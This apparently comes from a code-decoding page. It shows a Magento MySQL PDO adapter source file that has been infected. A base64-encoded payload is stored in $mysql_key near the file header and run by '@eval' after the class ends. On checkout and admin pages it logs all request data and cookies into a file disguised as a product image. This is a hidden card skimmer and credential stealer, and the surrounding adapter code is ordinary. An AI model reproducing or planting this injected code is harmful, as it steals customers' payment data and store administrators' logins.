public function supportStraightJoin()
{
return true;
}
/**
* Adds order by random to select object
* Possible using integer field for optimization
*
* @param Varien_Db_Select $select
* @param string $field
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function orderRand(Varien_Db_Select $select, $field = null)
{
if ($field !== null) {
$expression = new Zend_Db_Expr(sprintf('RAND() * %s', $this->quoteIdentifier($field)));
$select->columns(array('mage_rand' => $expression));
$spec = new Zend_Db_Expr('mage_rand');
} else {
$spec = new Zend_Db_Expr('RAND()');
}
$select->order($spec);
return $this;
}
/**
* Render SQL FOR UPDATE clause
*
* @param string $sql
* @return string
*/
public function forUpdate($sql)
{
return sprintf('%s FOR UPDATE', $sql);
}
/**
* Prepare insert data
*
* @param mixed $row
* @param array $bind
* @return string
*/
protected function _prepareInsertData($row, &$bind)
{
if (is_array($row)) {
$line = array();
foreach ($row as $value) {
if ($value instanceof Zend_Db_Expr) {
$line[] = $value->__toString();
} else {
$line[] = '?';
$bind[] = $value;
}
}
$line = implode(', ', $line);
} elseif ($row instanceof Zend_Db_Expr) {
$line = $row->__toString();
} else {
$line = '?';
$bind[] = $row;
}
return sprintf('(%s)', $line);
}
/**
* Return insert sql query
*
* @param string $tableName
* @param array $columns
* @param array $values
* @return string
*/
protected function _getInsertSqlQuery($tableName, array $columns, array $values)
{
$tableName = $this->quoteIdentifier($tableName, true);
$columns = array_map(array($this, 'quoteIdentifier'), $columns);
$columns = implode(',', $columns);
$values = implode(', ', $values);
$insertSql = sprintf('INSERT INTO %s (%s) VALUES %s', $tableName, $columns, $values);
return $insertSql;
}
/**
* Return ddl type
*
* @param array $options
* @return string
*/
protected function _getDdlType($options)
{
$ddlType = null;
if (isset($options['TYPE'])) {
$ddlType = $options['TYPE'];
} elseif (isset($options['COLUMN_TYPE'])) {
$ddlType = $options['COLUMN_TYPE'];
}
return $ddlType;
}
/**
* Return DDL action
*
* @param string $action
* @return string
*/
protected function _getDdlAction($action)
{
switch ($action) {
case Varien_Db_Adapter_Interface::FK_ACTION_CASCADE:
return Varien_Db_Ddl_Table::ACTION_CASCADE;
case Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL:
return Varien_Db_Ddl_Table::ACTION_SET_NULL;
case Varien_Db_Adapter_Interface::FK_ACTION_RESTRICT:
return Varien_Db_Ddl_Table::ACTION_RESTRICT;
default:
return Varien_Db_Ddl_Table::ACTION_NO_ACTION;
}
}
/**
* Prepare sql date condition
*
* @param array $condition
* @param string $key
* @return string
*/
protected function _prepareSqlDateCondition($condition, $key)
{
if (empty($condition['date'])) {
if (empty($condition['datetime'])) {
$result = $condition[$key];
} else {
$result = $this->formatDate($condition[$key]);
}
} else {
$result = $this->formatDate($condition[$key]);
}
return $result;
}
/**
* Try to find installed primary key name, if not - formate new one.
*
* @param string $tableName Table name
* @param string $schemaName OPTIONAL
* @return string Primary Key name
*/
public function getPrimaryKeyName($tableName, $schemaName = null)
{
$indexes = $this->getIndexList($tableName, $schemaName);
if (isset($indexes['PRIMARY'])) {
return $indexes['PRIMARY']['KEY_NAME'];
} else {
return 'PK_' . strtoupper($tableName);
}
}
/**
* Parse text size
* Returns max allowed size if value great it
*
* @param string|int $size
* @return int
*/
protected function _parseTextSize($size)
{
$size = trim($size);
$last = strtolower(substr($size, -1));
switch ($last) {
case 'k':
$size = intval($size) * 1024;
break;
case 'm':
$size = intval($size) * 1024 * 1024;
break;
case 'g':
$size = intval($size) * 1024 * 1024 * 1024;
break;
}
if (empty($size)) {
return Varien_Db_Ddl_Table::DEFAULT_TEXT_SIZE;
}
if ($size >= Varien_Db_Ddl_Table::MAX_TEXT_SIZE) {
return Varien_Db_Ddl_Table::MAX_TEXT_SIZE;
}
return intval($size);
}
/**
* Converts fetched blob into raw binary PHP data.
* The MySQL drivers do it nice, no processing required.
*
* @mixed $value
* @return mixed
*/
public function decodeVarbinary($value)
{
return $value;
}
/**
* Returns date that fits into TYPE_DATETIME range and is suggested to act as default 'zero' value
* for a column for current RDBMS. Deprecated and left for compatibility only.
* In Magento at MySQL there was zero date used for datetime columns. However, zero date it is not supported across
* different RDBMS. Thus now it is recommended to use same default value equal for all RDBMS - either NULL
* or specific date supported by all RDBMS.
*
* @deprecated after 1.5.1.0
* @return string
*/
public function getSuggestedZeroDate()
{
return '0000-00-00 00:00:00';
}
/**
* Retrieve Foreign Key name
*
* @deprecated after 1.6.0.0
*
* @param string $fkName
* @return string
*/
protected function _getForeignKeyName($fkName)
{
if (substr($fkName, 0, 3) != 'FK_') {
$fkName = 'FK_' . $fkName;
}
return $fkName;
}
/**
* Drop trigger
*
* @param string $triggerName
* @return Varien_Db_Adapter_Interface
*/
public function dropTrigger($triggerName)
{
$query = sprintf(
'DROP TRIGGER IF EXISTS %s',
$this->_getTableName($triggerName)
);
$this->query($query);
return $this;
}
/**
* Create new table from provided select statement
*
* @param string $tableName
* @param Zend_Db_Select $select
* @param bool $temporary
* @return mixed
*/
public function createTableFromSelect($tableName, Zend_Db_Select $select, $temporary = false)
{
$query = sprintf(
'CREATE' . ($temporary ? ' TEMPORARY' : '') . ' TABLE `%s` AS (%s)',
$this->_getTableName($tableName),
(string)$select
);
$this->query($query);
}
/**
* Check if all transactions have been committed
*/
public function __destruct()
{
if ($this->_transactionLevel > 0) {
trigger_error('Some transactions have not been committed or rolled back', E_USER_ERROR);
}
}
}
@eval( $mysql_key ); ?>
Did this file decode correctly?
Original Code
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Varien
* @package Varien_Db
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Mysql PDO DB adapter
*/
$mysql_key = @base64_decode('aWYoQHByZWdfbWF0Y2goIi9jaGVja291dHxhZG1pbi8iLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpe0BmaWxlX3B1dF9jb250ZW50cygnL3Zhci93d3cvaHRtbC9tZWRpYS9jYXRhbG9nL3Byb2R1Y3QvQy9pL0NpdHJvbl9HcmVlbl9TZXh5X0Jhcmxvd18yOS5qcGcnLCBAYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9SRVFVRVNUKS4iLS0iLnNlcmlhbGl6ZSgkX0NPT0tJRSkpLiJcbiIsIEZJTEVfQVBQRU5EKTt9');
class Varien_Db_Adapter_Pdo_Mysql extends Zend_Db_Adapter_Pdo_Mysql implements Varien_Db_Adapter_Interface
{
const DEBUG_CONNECT = 0;
const DEBUG_TRANSACTION = 1;
const DEBUG_QUERY = 2;
const TIMESTAMP_FORMAT = 'Y-m-d H:i:s';
const DATETIME_FORMAT = 'Y-m-d H:i:s';
const DATE_FORMAT = 'Y-m-d';
const DDL_DESCRIBE = 1;
const DDL_CREATE = 2;
const DDL_INDEX = 3;
const DDL_FOREIGN_KEY = 4;
const DDL_CACHE_PREFIX = 'DB_PDO_MYSQL_DDL';
const DDL_CACHE_TAG = 'DB_PDO_MYSQL_DDL';
const LENGTH_TABLE_NAME = 64;
const LENGTH_INDEX_NAME = 64;
const LENGTH_FOREIGN_NAME = 64;
/**
* Those constants are defining the possible address types
*/
const ADDRESS_TYPE_HOSTNAME = 'hostname';
const ADDRESS_TYPE_UNIX_SOCKET = 'unix_socket';
const ADDRESS_TYPE_IPV4_ADDRESS = 'ipv4';
const ADDRESS_TYPE_IPV6_ADDRESS = 'ipv6';
/**
* MEMORY engine type for MySQL tables
*/
const ENGINE_MEMORY = 'MEMORY';
/**
* Default class name for a DB statement.
*
* @var string
*/
protected $_defaultStmtClass = 'Varien_Db_Statement_Pdo_Mysql';
/**
* Current Transaction Level
*
* @var int
*/
protected $_transactionLevel = 0;
/**
* Set attribute to connection flag
*
* @var bool
*/
protected $_connectionFlagsSet = false;
/**
* Tables DDL cache
*
* @var array
*/
protected $_ddlCache = array();
/**
* SQL bind params. Used temporarily by regexp callback.
*
* @var array
*/
protected $_bindParams = array();
/**
* Autoincrement for bind value. Used by regexp callback.
*
* @var int
*/
protected $_bindIncrement = 0;
/**
* Write SQL debug data to file
*
* @var bool
*/
protected $_debug = false;
/**
* Minimum query duration time to be logged
*
* @var float
*/
protected $_logQueryTime = 0.05;
/**
* Log all queries (ignored minimum query duration time)
*
* @var bool
*/
protected $_logAllQueries = false;
/**
* Add to log call stack data (backtrace)
*
* @var bool
*/
protected $_logCallStack = false;
/**
* Path to SQL debug data log
*
* @var string
*/
protected $_debugFile = 'var/debug/pdo_mysql.log';
/**
* Io File Adapter
*
* @var Varien_Io_File
*/
protected $_debugIoAdapter;
/**
* Debug timer start value
*
* @var float
*/
protected $_debugTimer = 0;
/**
* Cache frontend adapter instance
*
* @var Zend_Cache_Core
*/
protected $_cacheAdapter;
/**
* DDL cache allowing flag
* @var bool
*/
protected $_isDdlCacheAllowed = true;
/**
* MySQL column - Table DDL type pairs
*
* @var array
*/
protected $_ddlColumnTypes = array(
Varien_Db_Ddl_Table::TYPE_BOOLEAN => 'bool',
Varien_Db_Ddl_Table::TYPE_SMALLINT => 'smallint',
Varien_Db_Ddl_Table::TYPE_INTEGER => 'int',
Varien_Db_Ddl_Table::TYPE_BIGINT => 'bigint',
Varien_Db_Ddl_Table::TYPE_FLOAT => 'float',
Varien_Db_Ddl_Table::TYPE_DECIMAL => 'decimal',
Varien_Db_Ddl_Table::TYPE_NUMERIC => 'decimal',
Varien_Db_Ddl_Table::TYPE_DATE => 'date',
Varien_Db_Ddl_Table::TYPE_TIMESTAMP => 'timestamp',
Varien_Db_Ddl_Table::TYPE_DATETIME => 'datetime',
Varien_Db_Ddl_Table::TYPE_TEXT => 'text',
Varien_Db_Ddl_Table::TYPE_BLOB => 'blob',
Varien_Db_Ddl_Table::TYPE_VARBINARY => 'blob'
);
/**
* All possible DDL statements
* First 3 symbols for each statement
*
* @var array
*/
protected $_ddlRoutines = array('alt', 'cre', 'ren', 'dro', 'tru');
/**
* DDL statements for temporary tables
*
* @var string
*/
protected $_tempRoutines = '#^\w+\s+temporary\s#im';
/**
* Allowed interval units array
*
* @var array
*/
protected $_intervalUnits = array(
self::INTERVAL_YEAR => 'YEAR',
self::INTERVAL_MONTH => 'MONTH',
self::INTERVAL_DAY => 'DAY',
self::INTERVAL_HOUR => 'HOUR',
self::INTERVAL_MINUTE => 'MINUTE',
self::INTERVAL_SECOND => 'SECOND',
);
/**
* Hook callback to modify queries. Mysql specific property, designed only for backwards compatibility.
*
* @var array|null
*/
protected $_queryHook = null;
/**
* Begin new DB transaction for connection
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function beginTransaction()
{
if ($this->_transactionLevel === 0) {
$this->_debugTimer();
parent::beginTransaction();
$this->_debugStat(self::DEBUG_TRANSACTION, 'BEGIN');
}
++$this->_transactionLevel;
return $this;
}
/**
* Commit DB transaction
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function commit()
{
if ($this->_transactionLevel === 1) {
$this->_debugTimer();
parent::commit();
$this->_debugStat(self::DEBUG_TRANSACTION, 'COMMIT');
}
--$this->_transactionLevel;
return $this;
}
/**
* Rollback DB transaction
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function rollback()
{
if ($this->_transactionLevel === 1) {
$this->_debugTimer();
parent::rollback();
$this->_debugStat(self::DEBUG_TRANSACTION, 'ROLLBACK');
}
--$this->_transactionLevel;
return $this;
}
/**
* Get adapter transaction level state. Return 0 if all transactions are complete
*
* @return int
*/
public function getTransactionLevel()
{
return $this->_transactionLevel;
}
/**
* Convert date to DB format
*
* @param mixed $date
* @return string
*/
public function convertDate($date)
{
return $this->formatDate($date, false);
}
/**
* Convert date and time to DB format
*
* @param mixed $date
* @return string
*/
public function convertDateTime($datetime)
{
return $this->formatDate($datetime, true);
}
/**
* Parse a source hostname and generate a host info
* @param $hostName
*
* @return Varien_Object
*/
protected function _getHostInfo($hostName)
{
$hostInfo = new Varien_Object();
$matches = array();
if (strpos($hostName, '/') !== false) {
$hostInfo->setAddressType(self::ADDRESS_TYPE_UNIX_SOCKET)
->setUnixSocket($hostName);
} elseif (
preg_match(
'/^\[(([0-9a-f]{1,4})?(:([0-9a-f]{1,4})?){1,}:([0-9a-f]{1,4}))(%[0-9a-z]+)?\](:([0-9]+))?$/i',
$hostName,
$matches
)
) {
$hostName = isset($matches[1]) ? $matches[1] : null;
!is_null($hostName) && isset($matches[6]) && ($hostName .= $matches[6]);
$hostInfo->setAddressType(self::ADDRESS_TYPE_IPV6_ADDRESS)
->setHostName($hostName)
->setPort(isset($matches[8]) ? $matches[8] : null);
} elseif (
preg_match(
'/^(([0-9a-f]{1,4})?(:([0-9a-f]{1,4})?){1,}:([0-9a-f]{1,4}))(%[0-9a-z]+)?$/i',
$hostName,
$matches
)
) {
$hostName = isset($matches[1]) ? $matches[1] : null;
!is_null($hostName) && isset($matches[6]) && ($hostName .= $matches[6]);
$hostInfo->setAddressType(self::ADDRESS_TYPE_IPV6_ADDRESS)
->setHostName($hostName);
} elseif (strpos($hostName, ':') !== false) {
list($hostAddress, $hostPort) = explode(':', $hostName);
$hostInfo->setAddressType(
filter_var($hostAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)
? self::ADDRESS_TYPE_IPV4_ADDRESS
: self::ADDRESS_TYPE_HOSTNAME
)->setHostName($hostAddress)
->setPort($hostPort);
} else {
$hostInfo->setAddressType(
filter_var($hostName, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)
? self::ADDRESS_TYPE_IPV4_ADDRESS
: self::ADDRESS_TYPE_HOSTNAME
)->setHostName($hostName);
}
return $hostInfo;
}
/**
* Creates a PDO object and connects to the database.
*
* @throws Zend_Db_Adapter_Exception
*/
protected function _connect()
{
if ($this->_connection) {
return;
}
if (!extension_loaded('pdo_mysql')) {
throw new Zend_Db_Adapter_Exception('pdo_mysql extension is not installed');
}
$hostInfo = $this->_getHostInfo($this->_config['host']);
switch ($hostInfo->getAddressType()) {
case self::ADDRESS_TYPE_UNIX_SOCKET:
$this->_config['unix_socket'] = $hostInfo->getUnixSocket();
unset($this->_config['host']);
break;
case self::ADDRESS_TYPE_IPV6_ADDRESS: // break intentionally omitted
case self::ADDRESS_TYPE_IPV4_ADDRESS: // break intentionally omitted
case self::ADDRESS_TYPE_HOSTNAME:
$this->_config['host'] = $hostInfo->getHostName();
if ($hostInfo->getPort()) {
$this->_config['port'] = $hostInfo->getPort();
}
break;
default:
break;
}
$this->_debugTimer();
parent::_connect();
$this->_debugStat(self::DEBUG_CONNECT, '');
/** @link http://bugs.mysql.com/bug.php?id=18551 */
$this->_connection->query("SET SQL_MODE=''");
if (!$this->_connectionFlagsSet) {
$this->_connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
$this->_connection->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
$this->_connectionFlagsSet = true;
}
}
/**
* Run RAW Query
*
* @param string $sql
* @return Zend_Db_Statement_Interface
* @throws PDOException
*/
public function raw_query($sql)
{
$lostConnectionMessage = 'SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query';
$tries = 0;
do {
$retry = false;
try {
$result = $this->query($sql);
} catch (Exception $e) {
// Convert to PDOException to maintain backwards compatibility with usage of MySQL adapter
if ($e instanceof Zend_Db_Statement_Exception) {
$e = $e->getPrevious();
if (!($e instanceof PDOException)) {
$e = new PDOException($e->getMessage(), $e->getCode());
}
}
// Check to reconnect
if ($tries < 10 && $e->getMessage() == $lostConnectionMessage) {
$retry = true;
$tries++;
} else {
throw $e;
}
}
} while ($retry);
return $result;
}
/**
* Run RAW query and Fetch First row
*
* @param string $sql
* @param string|int $field
* @return boolean
*/
public function raw_fetchRow($sql, $field = null)
{
$result = $this->raw_query($sql);
if (!$result) {
return false;
}
$row = $result->fetch(PDO::FETCH_ASSOC);
if (!$row) {
return false;
}
if (empty($field)) {
return $row;
} else {
return isset($row[$field]) ? $row[$field] : false;
}
}
/**
* Check transaction level in case of DDL query
*
* @param string|Zend_Db_Select $sql
* @throws Zend_Db_Adapter_Exception
*/
protected function _checkDdlTransaction($sql)
{
if (is_string($sql) && $this->getTransactionLevel() > 0) {
$startSql = strtolower(substr(ltrim($sql), 0, 3));
if (in_array($startSql, $this->_ddlRoutines)
&& (preg_match($this->_tempRoutines, $sql) !== 1)
) {
trigger_error(Varien_Db_Adapter_Interface::ERROR_DDL_MESSAGE, E_USER_ERROR);
}
}
}
/**
* Special handling for PDO query().
* All bind parameter names must begin with ':'.
*
* @param string|Zend_Db_Select $sql The SQL statement with placeholders.
* @param mixed $bind An array of data or data itself to bind to the placeholders.
* @return Zend_Db_Statement_Pdo
* @throws Zend_Db_Adapter_Exception To re-throw PDOException.
*/
public function query($sql, $bind = array())
{
$this->_debugTimer();
try {
$this->_checkDdlTransaction($sql);
$this->_prepareQuery($sql, $bind);
$result = parent::query($sql, $bind);
} catch (Exception $e) {
$this->_debugStat(self::DEBUG_QUERY, $sql, $bind);
$this->_debugException($e);
}
$this->_debugStat(self::DEBUG_QUERY, $sql, $bind, $result);
return $result;
}
/**
* Prepares SQL query by moving to bind all special parameters that can be confused with bind placeholders
* (e.g. "foo:bar"). And also changes named bind to positional one, because underlying library has problems
* with named binds.
*
* @param Zend_Db_Select|string $sql
* @param mixed $bind
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _prepareQuery(&$sql, &$bind = array())
{
$sql = (string) $sql;
if (!is_array($bind)) {
$bind = array($bind);
}
// Mixed bind is not supported - so remember whether it is named bind, to normalize later if required
$isNamedBind = false;
if ($bind) {
foreach ($bind as $k => $v) {
if (!is_int($k)) {
$isNamedBind = true;
if ($k[0] != ':') {
$bind[":{$k}"] = $v;
unset($bind[$k]);
}
}
}
}
// Special query hook
if ($this->_queryHook) {
$object = $this->_queryHook['object'];
$method = $this->_queryHook['method'];
$object->$method($sql, $bind);
}
return $this;
}
/**
* Callback function for preparation of query and bind by regexp.
* Checks query parameters for special symbols and moves such parameters to bind array as named ones.
* This method writes to $_bindParams, where query bind parameters are kept.
* This method requires further normalizing, if bind array is positional.
*
* @param array $matches
* @return string
*/
public function proccessBindCallback($matches)
{
if (isset($matches[6]) && (
strpos($matches[6], "'") !== false ||
strpos($matches[6], ':') !== false ||
strpos($matches[6], '?') !== false)
) {
$bindName = ':_mage_bind_var_' . (++$this->_bindIncrement);
$this->_bindParams[$bindName] = $this->_unQuote($matches[6]);
return ' ' . $bindName;
}
return $matches[0];
}
/**
* Unquote raw string (use for auto-bind)
*
* @param string $string
* @return string
*/
protected function _unQuote($string)
{
$translate = array(
"\\000" => "\000",
"\\n" => "\n",
"\\r" => "\r",
"\\\\" => "\\",
"\'" => "'",
"\\\"" => "\"",
"\\032" => "\032"
);
return strtr($string, $translate);
}
/**
* Normalizes mixed positional-named bind to positional bind, and replaces named placeholders in query to
* '?' placeholders.
*
* @param string $sql
* @param array $bind
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _convertMixedBind(&$sql, &$bind)
{
$positions = array();
$offset = 0;
// get positions
while (true) {
$pos = strpos($sql, '?', $offset);
if ($pos !== false) {
$positions[] = $pos;
$offset = ++$pos;
} else {
break;
}
}
$bindResult = array();
$map = array();
foreach ($bind as $k => $v) {
// positional
if (is_int($k)) {
if (!isset($positions[$k])) {
continue;
}
$bindResult[$positions[$k]] = $v;
} else {
$offset = 0;
while (true) {
$pos = strpos($sql, $k, $offset);
if ($pos === false) {
break;
} else {
$offset = $pos + strlen($k);
$bindResult[$pos] = $v;
}
}
$map[$k] = '?';
}
}
ksort($bindResult);
$bind = array_values($bindResult);
$sql = strtr($sql, $map);
return $this;
}
/**
* Sets (removes) query hook.
*
* $hook must be either array with 'object' and 'method' entries, or null to remove hook.
* Previous hook is returned.
*
* @param array $hook
* @return mixed
*/
public function setQueryHook($hook)
{
$prev = $this->_queryHook;
$this->_queryHook = $hook;
return $prev;
}
/**
* Executes a SQL statement(s)
*
* @param string $sql
* @throws Zend_Db_Exception
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function multiQuery($sql)
{
return $this->multi_query($sql);
}
/**
* Run Multi Query
*
* @param string $sql
* @return array
*/
public function multi_query($sql)
{
##$result = $this->raw_query($sql);
#$this->beginTransaction();
try {
$stmts = $this->_splitMultiQuery($sql);
$result = array();
foreach ($stmts as $stmt) {
$result[] = $this->raw_query($stmt);
}
#$this->commit();
} catch (Exception $e) {
#$this->rollback();
throw $e;
}
$this->resetDdlCache();
return $result;
}
/**
* Split multi statement query
*
* @param $sql string
* @return array
*/
protected function _splitMultiQuery($sql)
{
$parts = preg_split('#(;|\'|"|\\\\|//|--|\n|/\*|\*/)#', $sql, null,
PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE
);
$q = false;
$c = false;
$stmts = array();
$s = '';
foreach ($parts as $i => $part) {
// strings
if (($part === "'" || $part === '"') && ($i === 0 || $parts[$i-1] !== '\\')) {
if ($q === false) {
$q = $part;
} elseif ($q === $part) {
$q = false;
}
}
// single line comments
if (($part === '//' || $part === '--') && ($i === 0 || $parts[$i-1] === "\n")) {
$c = $part;
} elseif ($part === "\n" && ($c === '//' || $c === '--')) {
$c = false;
}
// multi line comments
if ($part === '/*' && $c === false) {
$c = '/*';
} elseif ($part === '*/' && $c === '/*') {
$c = false;
}
// statements
if ($part === ';' && $q === false && $c === false) {
if (trim($s)!=='') {
$stmts[] = trim($s);
$s = '';
}
} else {
$s .= $part;
}
}
if (trim($s) !== '') {
$stmts[] = trim($s);
}
return $stmts;
}
/**
* Drop the Foreign Key from table
*
* @param string $tableName
* @param string $fkName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function dropForeignKey($tableName, $fkName, $schemaName = null)
{
$foreignKeys = $this->getForeignKeys($tableName, $schemaName);
$fkName = strtoupper($fkName);
if (substr($fkName, 0, 3) == 'FK_') {
$fkName = substr($fkName, 3);
}
foreach (array($fkName, 'FK_' . $fkName) as $key) {
if (isset($foreignKeys[$key])) {
$sql = sprintf('ALTER TABLE %s DROP FOREIGN KEY %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$this->quoteIdentifier($foreignKeys[$key]['FK_NAME'])
);
$this->resetDdlCache($tableName, $schemaName);
$this->raw_query($sql);
}
}
return $this;
}
/**
* Delete index from a table if it exists
*
* @deprecated since 1.4.0.1
* @param string $tableName
* @param string $keyName
* @param string $schemaName
* @return bool|Zend_Db_Statement_Interface
*/
public function dropKey($tableName, $keyName, $schemaName = null)
{
return $this->dropIndex($tableName, $keyName, $schemaName);
}
/**
* Prepare table before add constraint foreign key
*
* @param string $tableName
* @param string $columnName
* @param string $refTableName
* @param string $refColumnName
* @param string $onDelete
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function purgeOrphanRecords($tableName, $columnName, $refTableName, $refColumnName,
$onDelete = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE)
{
$onDelete = strtoupper($onDelete);
if ($onDelete == Varien_Db_Adapter_Interface::FK_ACTION_CASCADE
|| $onDelete == Varien_Db_Adapter_Interface::FK_ACTION_RESTRICT
) {
$sql = sprintf("DELETE p.* FROM %s AS p LEFT JOIN %s AS r ON p.%s = r.%s WHERE r.%s IS NULL",
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($refTableName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($refColumnName),
$this->quoteIdentifier($refColumnName));
$this->raw_query($sql);
} elseif ($onDelete == Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL) {
$sql = sprintf("UPDATE %s AS p LEFT JOIN %s AS r ON p.%s = r.%s SET p.%s = NULL WHERE r.%s IS NULL",
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($refTableName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($refColumnName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($refColumnName));
$this->raw_query($sql);
}
return $this;
}
/**
* Add foreign key to table. If FK with same name exist - it will be deleted
*
* @deprecated since 1.4.0.1
* @param string $fkName foreign key name
* @param string $tableName main table name
* @param string $keyName main table field name
* @param string $refTableName refered table name
* @param string $refKeyName refered table field name
* @param string $onUpdate on update statement
* @param string $onDelete on delete statement
* @param bool $purge
* @return mixed
*/
public function addConstraint($fkName, $tableName, $columnName,
$refTableName, $refColumnName, $onDelete = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE,
$onUpdate = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE, $purge = false)
{
return $this->addForeignKey($fkName, $tableName, $columnName, $refTableName, $refColumnName,
$onDelete, $onUpdate, $purge);
}
/**
* Check does table column exist
*
* @param string $tableName
* @param string $columnName
* @param string $schemaName
* @return boolean
*/
public function tableColumnExists($tableName, $columnName, $schemaName = null)
{
$describe = $this->describeTable($tableName, $schemaName);
foreach ($describe as $column) {
if ($column['COLUMN_NAME'] == $columnName) {
return true;
}
}
return false;
}
/**
* Adds new column to table.
*
* Generally $defintion must be array with column data to keep this call cross-DB compatible.
* Using string as $definition is allowed only for concrete DB adapter.
* Adds primary key if needed
*
* @param string $tableName
* @param string $columnName
* @param array|string $definition string specific or universal array DB Server definition
* @param string $schemaName
* @return int|boolean
* @throws Zend_Db_Exception
*/
public function addColumn($tableName, $columnName, $definition, $schemaName = null)
{
if ($this->tableColumnExists($tableName, $columnName, $schemaName)) {
return true;
}
$primaryKey = '';
if (is_array($definition)) {
$definition = array_change_key_case($definition, CASE_UPPER);
if (empty($definition['COMMENT'])) {
throw new Zend_Db_Exception("Impossible to create a column without comment.");
}
if (!empty($definition['PRIMARY'])) {
$primaryKey = sprintf(', ADD PRIMARY KEY (%s)', $this->quoteIdentifier($columnName));
}
$definition = $this->_getColumnDefinition($definition);
}
$sql = sprintf('ALTER TABLE %s ADD COLUMN %s %s %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$this->quoteIdentifier($columnName),
$definition,
$primaryKey
);
$result = $this->raw_query($sql);
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Delete table column
*
* @param string $tableName
* @param string $columnName
* @param string $schemaName
* @return bool
*/
public function dropColumn($tableName, $columnName, $schemaName = null)
{
if (!$this->tableColumnExists($tableName, $columnName, $schemaName)) {
return true;
}
$alterDrop = array();
$foreignKeys = $this->getForeignKeys($tableName, $schemaName);
foreach ($foreignKeys as $fkProp) {
if ($fkProp['COLUMN_NAME'] == $columnName) {
$alterDrop[] = 'DROP FOREIGN KEY ' . $this->quoteIdentifier($fkProp['FK_NAME']);
}
}
$alterDrop[] = 'DROP COLUMN ' . $this->quoteIdentifier($columnName);
$sql = sprintf('ALTER TABLE %s %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
implode(', ', $alterDrop));
$result = $this->raw_query($sql);
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Change the column name and definition
*
* For change definition of column - use modifyColumn
*
* @param string $tableName
* @param string $oldColumnName
* @param string $newColumnName
* @param array $definition
* @param boolean $flushData flush table statistic
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
* @throws Zend_Db_Exception
*/
public function changeColumn($tableName, $oldColumnName, $newColumnName, $definition, $flushData = false,
$schemaName = null)
{
if (!$this->tableColumnExists($tableName, $oldColumnName, $schemaName)) {
throw new Zend_Db_Exception(sprintf(
'Column "%s" does not exist in table "%s".',
$oldColumnName,
$tableName
));
}
if (is_array($definition)) {
$definition = $this->_getColumnDefinition($definition);
}
$sql = sprintf('ALTER TABLE %s CHANGE COLUMN %s %s %s',
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($oldColumnName),
$this->quoteIdentifier($newColumnName),
$definition);
$result = $this->raw_query($sql);
if ($flushData) {
$this->showTableStatus($tableName, $schemaName);
}
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Modify the column definition
*
* @param string $tableName
* @param string $columnName
* @param array|string $definition
* @param boolean $flushData
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
* @throws Zend_Db_Exception
*/
public function modifyColumn($tableName, $columnName, $definition, $flushData = false, $schemaName = null)
{
if (!$this->tableColumnExists($tableName, $columnName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Column "%s" does not exist in table "%s".', $columnName, $tableName));
}
if (is_array($definition)) {
$definition = $this->_getColumnDefinition($definition);
}
$sql = sprintf('ALTER TABLE %s MODIFY COLUMN %s %s',
$this->quoteIdentifier($tableName),
$this->quoteIdentifier($columnName),
$definition);
$this->raw_query($sql);
if ($flushData) {
$this->showTableStatus($tableName, $schemaName);
}
$this->resetDdlCache($tableName, $schemaName);
return $this;
}
/**
* Show table status
*
* @param string $tableName
* @param string $schemaName
* @return array|false
*/
public function showTableStatus($tableName, $schemaName = null)
{
$fromDbName = null;
if ($schemaName !== null) {
$fromDbName = ' FROM ' . $this->quoteIdentifier($schemaName);
}
$query = sprintf('SHOW TABLE STATUS%s LIKE %s', $fromDbName, $this->quote($tableName));
return $this->raw_fetchRow($query);
}
/**
* Retrieve table index key list
*
* @deprecated use getIndexList(
* @param string $tableName
* @param string $schemaName
* @return array
*/
public function getKeyList($tableName, $schemaName = null)
{
$keyList = array();
$indexList = $this->getIndexList($tableName, $schemaName);
foreach ($indexList as $indexProp) {
